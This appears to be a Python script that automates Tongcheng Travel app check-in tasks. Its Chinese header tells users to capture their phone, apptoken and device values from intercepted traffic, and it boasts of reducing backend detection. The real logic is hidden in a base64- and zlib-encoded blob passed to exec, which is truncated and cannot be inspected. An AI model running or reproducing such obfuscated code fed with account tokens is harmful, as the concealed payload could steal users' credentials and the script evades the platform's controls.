import zlib
import base64

"""
脚本: 同程旅行APP自动任务
作者: 3iXi
创建日期: 2024-12-20
更新日期：2025-05-27
----------------------
描述: 打开并登录“同程旅行”APP，开启抓包，点击APP右下角“我的”-“签到”，进去后抓包域名https://app.17u.cn请求头中的phone、apptoken、device三个参数。
环境变量：
        变量名：tongcheng
        变量格式：phone&apptoken&device
        多账号之间用#分隔：phone&apptoken&device#phone2&apptoken2&device2
需要依赖：aiohttp
签到奖励：日常任务得里程，签到满360天得价值200元里程
----------------------
版本: 1.3
更新说明: 
        1.异步做任务，一次并发3条任务，减少任务时间
		2.修改为最新版本号，减少后台检测风险
		3.领奖失败会重试2次
		4.新增签到额外奖励提醒
		5.优化任务标题显示，不再显示任务ID
		6.脚本整体输出信息美化，更加直观
特别注意：部分任务是跳转到APP页面浏览，这类任务脚本无法自动做，会提示失败
"""

exec(zlib.decompress(base64.b64decode(f"eJy9Gm1zG8X5u2f8H7Zi4KQgnyyHFGownTalhYFQpqTTdoxHczmtrG2kO/XuFMdoNONA4vg1SgghNJia0AQHmmAHAnZiJ/kvRHeWPyU/oc/e3svu3cm2oPQ+aO72nn3e9nnXlQy9ioqKhS1SxYhUa7phBc/9fd6C8PB3U9eCB90MbhVzUlOJHj4TvWxZtf6+EqWh6ppaNwysWXKpbtUNbPrUjpYNrBTf0vXKKyexWrd0I0BhKFpRr/b39fc9hbbPrdqfv2+3Pt4523K+m++sXqKruilj7QQxdG1UsnRtXC1jbVwaQyNIktg+Z3beWbpnt9Y7p287l1r2tdPb56f7+4q4hKqKebxQK+saTru/meH+PgQXKaEK1rw1NDKC8nnvDb0MDOxryH07OnxwDD2LpANwSXDDFp8fHmPgPCjjpr15jhekc27dbn3UufMF8Nd+eNU5tco4G8dWQVFVva5ZZtpny18A4UY9AoHIBdACrIM6YCvcpzltZEEXmUAyTbfEbZxoNYNoVjrlLH3lzD6wZ9Z4VsNNqUxMGT5r7IXAbqFCTAtYE2jKZq1CrLT0lM9YSTf8DYhowl6OP2Dfe8Mtuo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